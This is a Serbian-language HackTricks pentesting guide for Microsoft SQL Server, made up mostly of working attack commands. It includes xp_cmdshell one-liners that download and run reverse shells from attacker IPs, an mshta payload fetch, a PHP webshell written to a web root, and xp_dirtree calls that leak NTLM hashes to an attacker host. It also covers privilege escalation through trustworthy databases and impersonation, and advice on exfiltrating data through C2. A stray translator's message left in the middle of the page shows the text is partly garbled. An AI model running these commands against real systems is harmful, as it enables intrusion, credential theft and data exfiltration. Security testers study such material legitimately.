1433 - Pentesting MSSQL - Microsoft SQL Server

Reading time: 24 minutes

Osnovne informacije

Iz wikipedia:

Microsoft SQL Server je sistem za upravljanje relacionim bazama podataka koji je razvio Microsoft. Kao serverski sistem za baze podataka, to je softverski proizvod čija je primarna funkcija čuvanje i vraćanje podataka na zahtev drugih softverskih aplikacija — koje mogu raditi na istom računaru ili na drugom računaru preko mreže (uključujući Internet).

Podrazumevani port: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Dolazak na upravljani Database-as-a-Service (DBaaS)

Sve što zavisi od "owning the host" (npr. privilege escalation, lateral movement i OS command execution) prestaje da postoji u DBaaS-u. Pentesting u ovim okruženjima mora da se preusmeri na application-layer exploitation, data exfiltration via SQL logic, misconfigured IAM roles ili loš network/VPC dizajn. Na primer, Amazon RDS documentation eksplicitno navodi da xp_cmdshell i TRUSTWORTHY database property nisu podržani.

Default MS-SQL System Tables

• master Database: Ova baza je ključna jer sadrži sve sistemske detalje za instancu SQL Server-a.
• msdb Database: SQL Server Agent koristi ovu bazu za upravljanje rasporedom za alarme i zadatke.
• model Database: Služi kao šablon za svaku novu bazu na SQL Server instanci; bilo kakve izmene kao što su veličina, collation, recovery model i slično se preslikavaju u novo kreiranim bazama.
• Resource Database: Read-only baza koja sadrži sistemske objekte koji dolaze uz SQL Server. Ti objekti, iako su fizički uskladišteni u Resource bazi, logički su predstavljeni u sys šemi svake baze.
• tempdb Database: Služi kao privremeni prostor za tranzijentne objekte ili međurezultate.

Enumeracija

Automatska enumeracija

Ako ne znate ništa o servisu:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

Metasploit (need creds)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Brute force

Ručna enumeracija

Prijava

MSSQLPwner

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

Uobičajena enumeracija

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]

Dohvati korisnika

Types of MSSQL Users

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

Dobijanje dozvola

1. Securable: Definisano kao resursi kojima SQL Server upravlja za kontrolu pristupa. Kategorizuju se u:

• Server – Primeri uključuju databases, logins, endpoints, availability groups, i server roles.
• Database – Primeri obuhvataju database role, application roles, schema, certificates, full text catalogs, i users.
• Schema – Uključuje tables, views, procedures, functions, synonyms, itd.

2. Permission: Povezano sa SQL Server securables, permissions kao ALTER, CONTROL, i CREATE mogu biti dodeljeni principal-u. Upravljanje permissions se vrši na dva nivoa:

• Server Level koristeći logins
• Database Level koristeći users

3. Principal: Termin se odnosi na entitet kojem je dodeljena dozvola za securable. Principals uglavnom uključuju logins i database users. Kontrola pristupa securables ostvaruje se dodeljivanjem ili odbijanjem permissions ili uključivanjem logins i users u roles koje imaju prava pristupa.

# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Trikovi

Izvršavanje OS komandi

Use master
EXEC sp_helprotect 'xp_cmdshell'

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

MSSQLPwner

# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

WMI-based udaljeno prikupljanje SQL (sqlcmd + CSV export)

Operatori mogu pivotovati sa IIS/app tier na SQL Servers koristeći WMI da izvrše mali batch koji se autentifikuje na MSSQL i pokreće ad‑hoc upite, izvozeći rezultate u CSV. Ovo održava prikupljanje jednostavnim i uklapa se u administratorske aktivnosti.

Primer mssq.bat

@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"

Pokreni ga daljinski pomoću WMI

wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"

Alternativa za PowerShell

$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd

Napomene

• sqlcmd možda nije prisutan; pređite na osql, PowerShell Invoke-Sqlcmd, ili one‑liner koji koristi System.Data.SqlClient.
• Pažljivo koristite navodnike; dugi/kompleksni upiti je lakše proslediti putem fajla ili Base64‑encoded argumenta koji se dekodira unutar batch/PowerShell stub.
• Exfil CSV putem SMB (e.g., copy from \SQLHOST\C$\Windows\Temp) ili kompresuj i premesti kroz vaš C2.

Dohvati heširane lozinke

SELECT * FROM master.sys.syslogins;

Ukradi NetNTLM hash / Relay attack

Trebalo bi da pokrenete SMB server kako biste presreli hash koji se koristi pri autentikaciji (impacket-smbserver ili responder na primer).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Korišćenjem alata kao što su responder ili Inveigh moguće je steal the NetNTLM hash.
Možete videti kako koristiti ove alate u:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Zloupotreba MSSQL trusted Links

Pročitajte ovaj post za više informacija o tome kako zloupotrebiti ovu funkciju:

MSSQL AD Abuse

Pisanje fajlova

Da bismo upisali fajlove koristeći MSSQL, potrebno je da omogućimo Ole Automation Procedures, što zahteva admin privilegije, a zatim izvršimo neke stored procedures da bismo kreirali fajl:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Pročitaj datoteku pomoću OPENROWSET

Podrazumevano, MSSQL dozvoljava čitanje fajlova svake datoteke na operativnom sistemu kojoj nalog ima pristup za čitanje. Možemo koristiti sledeći SQL upit:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Međutim, BULK opcija zahteva ADMINISTER BULK OPERATIONS ili ADMINISTER DATABASE BULK OPERATIONS dozvolu.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Vektor zasnovan na greškama za SQLi:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Čitanje fajlova izvršavanjem skripti (Python i R)

MSSQL može da vam omogući izvršavanje skripti u Python i/ili R. Ovaj kod će biti izvršen od strane drugog korisnika u odnosu na onog koji koristi xp_cmdshell za izvršavanje komandi.

Primer pokušaja izvršavanja 'R' "Hellow World!" ne radi:

Primer korišćenja konfigurisane Python instalacije za izvršavanje više radnji:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Čitanje registra

Microsoft SQL Server nudi više extended stored procedures koje vam omogućavaju interakciju ne samo sa mrežom, već i sa sistemom fajlova, pa čak i sa Windows Registry:

# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

Za više primera pogledajte original source.

RCE with MSSQL User Defined Function - SQLHttp

Moguće je učitati .NET dll unutar MSSQL-a pomoću custom functions. Međutim, ovo zahteva dbo pristup, pa vam je potrebna konekcija na bazu kao sa ili uloga Administratora`.

Following this link to see an example.

RCE with autoadmin_task_agents

Prema to this post, moguće je i učitati udaljeni dll i naterati MSSQL da ga izvrši nečim poput:

update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

Nedostaje sadržaj za prevod. Pošaljite tekst iz src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md koji želite da prevedem na srpski.

using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}

Drugi načini za RCE

Postoje i drugi načini da se dobije izvršavanje komandi, kao što su dodavanje extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, i external scripts.

MSSQL Privilege Escalation

From db_owner to sysadmin

Ako je običnom korisniku dodeljena uloga db_owner nad bazom podataka koju poseduje admin (na primer sa) i ta baza je podešena kao trustworthy, taj korisnik može zloupotrebiti ta ovlašćenja za privesc zato što stored procedures kreirane u toj bazi mogu execute kao vlasnik (admin).

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

Možete koristiti metasploit modul:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

Ili PS skripta:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Impersonacija drugih korisnika

SQL Server ima posebnu dozvolu, nazvanu IMPERSONATE, koja omogućava korisniku koji izvršava da preuzme dozvole drugog korisnika ili login dok se kontekst ne resetuje ili dok sesija ne završi.

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

Ovaj napad možete izvesti pomoću metasploit modula:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

ili sa PS skriptom:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Korišćenje MSSQL za perzistenciju

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Ekstrakcija lozinki iz SQL Server Linked Servers

Napadač može da izvuče lozinke SQL Server Linked Servers sa SQL instanci i dobije ih u čistom tekstu, što napadaču daje lozinke koje se mogu iskoristiti za postizanje većeg uporišta na cilju. Skripta za ekstraktovanje i dešifrovanje lozinki koje su sačuvane za Linked Servers može se naći here

Potrebno je izvršiti određena podešavanja i konfiguracije da bi ovaj exploit radio. Pre svega, morate imati administratorska prava na mašini, ili mogućnost upravljanja SQL Server konfiguracijama.

Nakon provere permisija, potrebno je konfigurisati tri stvari, i to sledeće:

1. Omogućiti TCP/IP na SQL Server instancama;
2. Dodati Start Up parametar, u ovom slučaju dodaće se trace flag, koji je -T7806.
3. Omogućiti udaljenu administratorsku konekciju.

Da biste automatizovali ove konfiguracije, this repository has the needed scripts. Pored powershell skripte za svaki korak konfiguracije, repozitorijum takođe sadrži i kompletnu skriptu koja kombinuje konfiguracione skripte i ekstrakciju i dešifrovanje lozinki.

Za dodatne informacije, pogledajte sledeće linkove u vezi sa ovim napadom: Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

Lokalno eskaliranje privilegija

Korisnik pod kojim se izvršava MSSQL server imaće omogućenu privilegiju SeImpersonatePrivilege.
Verovatno ćete moći da eskalirate na Administratora prateći jednu od ove dve stranice:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

Shodan

• port:1433 !HTTP

References

• Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd

• https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users

• https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/

• https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/

• https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/

• https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/

• https://mayfly277.github.io/posts/GOADv2-pwning-part12/

• https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp

• https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users

• https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/

• https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/

• https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/

• https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/

• https://mayfly277.github.io/posts/GOADv2-pwning-part12/

• https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp

HackTricks Automatic Commands

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'